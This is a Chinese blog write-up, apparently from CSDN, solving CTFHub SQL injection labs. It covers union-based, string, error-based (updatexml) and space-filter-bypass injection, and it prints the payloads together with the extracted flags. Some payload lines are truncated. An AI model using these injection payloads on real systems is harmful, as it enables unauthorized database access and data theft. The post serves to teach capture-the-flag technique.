

CTFHub-sql注入

原创

留将一面与花 于 2022-01-30 21:39:50 发布 3533 收藏 1

文章标签: [sql](#) [安全](#) [数据库](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_60905276/article/details/121342867

版权

1. 整数型注入

先判断有没有注入点

?id=1 and 1=1



CSDN @留将一面与花

?id=1 and 1=2

证明有注入点



CSDN @留将一面与花

在输入1看看。



CSDN @留将一面与花

有两列回显。

获取当前数据库。

-1 union select 3,database()

SQL 整数型注入

ID 输入1试试?

```
select * from news where id=-1 union select 3,database()  
ID: 3  
Data: sqli
```

CSDN @留将一面与花

获取所有数据库

-1 union select 3,group_concat(schema_name) from information_schema.schemata

SQL 整数型注入

ID 输入1试试?

Search

```
select * from news where id=-1 union select 3,group_concat(schema_name) from information_schema.schemata  
ID: 3  
Data: information_schema,mysql,performance_schema,sqli
```

CSDN @留将一面与花

获取表名

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

SQL 整数型注入

ID 输入1试试?

Search

```
select * from news where id=-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"  
ID: 3  
Data: flag,news
```

CSDN @留将一面与花

找到flag了。

获取字段

-1 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

查询数据

SQL 整数型注入

ID 输入1试试?

Search

```
select * from news where id=-1 union select 3,group_concat(flag) from sqli.flag  
ID: 3  
Data: ctffhub{80ab2be1e09e1ee5c0b5a09e}
```

CSDN @留将一面与花

2.字符型注入

首先查看他的字段

1' order by 2#

有2个字段

确定回显位置

-1' union select 1,2#

SQL 字符型注入

ID 输入: 输入个1试试? Search

```
select * from news where id='-1' union select 1,2#'
```

ID: 1
Data: 2

CSDN @留将一面与花

获取数据库

-1' union select 1,database()#

SQL 字符型注入

ID 输入: 输入个1试试? Search

```
select * from news where id='-1' union select 1,database()#'
```

ID: 1
Data: sqli

CSDN @留将一面与花

接着是获取所有数据库，获取表名，获取字段，查看数据基本和整数型一样。

不过字符型，需考虑单引号，在1后加单引号'将字符型的引号闭合后进行注入语句构造。

而且这次我用了limit来查看其他返回行，更加简洁一些。这是在别的人那里看到的。

SQL 字符型注入

ID 输入: 1' union select flag,1 from flag limit 1,2;# Search

```
select * from news where id='1' union select flag,1 from flag limit 1,2;#'
```

ID: ctffhub(da68e5f859e2da7a1689ffb6)
Data: 1

CSDN @留将一面与花

3.报错注入

查看字段是2

SQL 报错注入

ID 输入: 输入个1试试? Search

```
select * from news where id=1 order by 3#
```

查询错误: Unknown column '3' in 'order clause'

CSDN @留将一面与花

获取数据库

1 and left(database(),1)='s#

SQL 报错注入

ID 输入1试试?

Search

```
select * from news where id=1 and left(database(),1)='s'#  
查询正确
```

CSDN @留将一面与花

1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#

SQL 报错注入

ID 输入1试试?

Search

```
select * from news where id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#  
查询错误: XPATH syntax error: '~information_schema'
```

CSDN @留将一面与花

看到了

1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)),1)#

SQL 报错注入

ID 输入1试试?

Search

```
select * from news where id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)),1)#  
查询错误: XPATH syntax error: '~flag'
```

CSDN @留将一面与花

1 and updatexml(1,concat(0x7e,(select flag from flag)),1)#

SQL 报错注入

ID 输入1试试?

Search

```
select * from news where id=1 and updatexml(1,concat(0x7e,(select flag from flag)),1)#  
查询错误: XPATH syntax error: '~ctfhub(956b44497f8978eeeaed4c0d)'
```

CSDN @留将一面与花

4. 空格过滤

由于过滤了空格致使无法执行注入的语句，可以用（），+，%09，%0a，%0b，%0c，%0d，/**/

过滤空格

ID -1/**/union/**/select/**/database(),2|

Search

CSDN @留将一面与花

1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_sche

过滤空格

ID 输入1试试?

Search

ID: news,wnfkktotop
Data: 2

CSDN @留将一面与花

1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_

过滤空格

ID Search

ID: 1
Data: news,wnfkktop

CSDN @留将一面与花

过滤空格

ID Search

ID: 1
Data: leokjmotzo

CSDN @留将一面与花

后面找到falg

过滤空格

ID Search

ID: 1
Data: leokjmotzo

CSDN @留将一面与花

cookie, UA, refer注入都是同一个类型的，就是抓包。将sql语句输入在对应的地方一步步来就行了，这就不纤细展示。